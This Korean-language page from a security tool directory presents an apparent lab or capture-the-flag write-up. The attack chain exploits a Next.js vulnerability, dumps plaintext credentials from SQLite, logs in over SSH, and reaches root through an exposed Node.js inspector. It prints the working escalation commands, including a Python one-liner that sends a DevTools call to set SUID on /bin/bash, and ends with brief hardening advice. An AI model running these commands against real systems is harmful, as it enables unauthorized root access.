Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-55182 — Next.js의 CVE-2025-55182 악용, SQLite에서 자격 증명 수집, Node.js 인스펙터를 통한 권한 상승으로 루트 액세스 권한을 획득하는 과정을 보여주는 기술적 침투 테스트 보고서입니다. | Kitploit
도구/GitHubGitHub/chrisbarack/cve-2025-55182
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubchrisbarack/cve-2025-55182

cve-2025-55182

Next.js의 CVE-2025-55182 악용, SQLite에서 자격 증명 수집, Node.js 인스펙터를 통한 권한 상승으로 루트 액세스 권한을 획득하는 과정을 보여주는 기술적 침투 테스트 보고서입니다.

저장소 보기
9시간 7분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

침투 테스트 라이트업: Next.js RCE 및 Node.js Inspector 권한 상승

이 기술 라이트업은 취약한 Next.js 웹 애플리케이션을 호스팅하는 대상을 손상시키고, 수집한 자격 증명을 통해 초기 접근을 달성하며, 잘못 구성된 로컬 Node.js V8 인스펙터를 활용하여 루트 권한 상승을 수행하는 공격 경로를 상세히 설명합니다.

1단계: 외부 정찰 및 웹 익스플로잇

초기 푸팅프린팅

대상은 표준 HTTP/HTTPS 포트(80/443)에서 실행되는 Next.js 웹 애플리케이션을 호스팅합니다. 표준 디렉터리 열거 및 수동 분석 결과, 애플리케이션이 CVE-2025-55182에 취약한 버전을 실행 중임을 확인했습니다.

Burp Suite를 통한 익스플로잇

취약점을 악용하려면 Burp Suite(또는 Burp Repeater)를 사용하여 애플리케이션 트래픽을 가로채고 CVE-2025-55182를 대상으로 하는 맞춤형 익스플로잇 페이로드를 주입합니다.

데이터베이스 발견

익스플로잇을 통해 코드 실행 및 로컬 파일 읽기를 달성한 후, 애플리케이션 소스 디렉터리를 검사합니다. 로컬 SQLite 데이터베이스 파일(database.db)은 기본 애플리케이션 소스 코드와 인접한 위치에 있습니다.

2단계: 자격 증명 추출 및 초기 접근

데이터베이스 검사

데이터베이스 파일의 내용을 쿼리하거나 덤프하여 저장된 사용자 레코드를 추출합니다.

root@kitploit:~
sqlite3 database.db "SELECT * FROM users;"

자격 증명 추출

로컬 SSH 사용자 engineer와 연결된 평문 비밀번호를 찾습니다.

SSH 로그인

복구된 자격 증명을 사용하여 대상 머신과 SSH 세션을 설정합니다:

root@kitploit:~
ssh engineer@<TARGET-IP>

사용자 플래그 획득

인증이 완료되면 홈 디렉터리에 있는 사용자 플래그를 읽습니다:

root@kitploit:~
cat /home/engineer/user.txt

3단계: Node.js Inspector를 통한 권한 상승

내부 포트 정찰

로컬 루프백 인터페이스(127.0.0.1)에만 바인딩된 서비스를 확인하여 내부 공격 표면을 식별합니다:

root@kitploit:~
netstat -tulnp

결과: 내부 Node.js 서비스가 로컬 포트 9229에서 활성 상태로 수신 중입니다.

디버거 UUID 발견

Node.js V8 디버그 포트는 WebSocket 통신을 위해 고유한 세션 UUID가 필요합니다. curl에 /json을 추가하여 로컬 검색 엔드포인트를 쿼리합니다:

root@kitploit:~
curl -s http://127.0.0.1:9229/json

출력:

root@kitploit:~
{
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639"
}

권한 상승 페이로드 실행

대상 Node.js 프로세스가 루트 권한으로 실행되므로, Python을 통해 WebSocket으로 Chrome DevTools Protocol(CDP) Runtime.evaluate 메시지를 전송하여 /bin/bash에 SUID 비트를 설정할 수 있습니다:

root@kitploit:~
python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/<YOUR-UUID>"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\")"}})); print(ws.recv()); ws.close()'

루트 셸 진입

/bin/bash에 SUID 권한이 활성화되었는지 확인하고(-rwsr-sr-x), 권한을 유지한 채 Bash를 호출합니다:

root@kitploit:~
ls -l /bin/bash
bash -p

루트 플래그 획득

루트 사용자의 홈 디렉터리로 이동하여 최종 플래그를 캡처합니다:

root@kitploit:~
cd /root
cat root.txt

이러한 공격 벡터로부터 환경을 보호하려면 알려진 CVE에 취약한 웹 애플리케이션에 패치를 적용하고, 데이터베이스 파일 권한을 적절히 제한하며, 디버깅 포트(예: 포트 9229의 Node.js 인스펙터)가 프로덕션 환경에서 노출되거나 인증 없이 접근 가능한 상태로 방치되지 않도록 해야 합니다.

도구 다운로드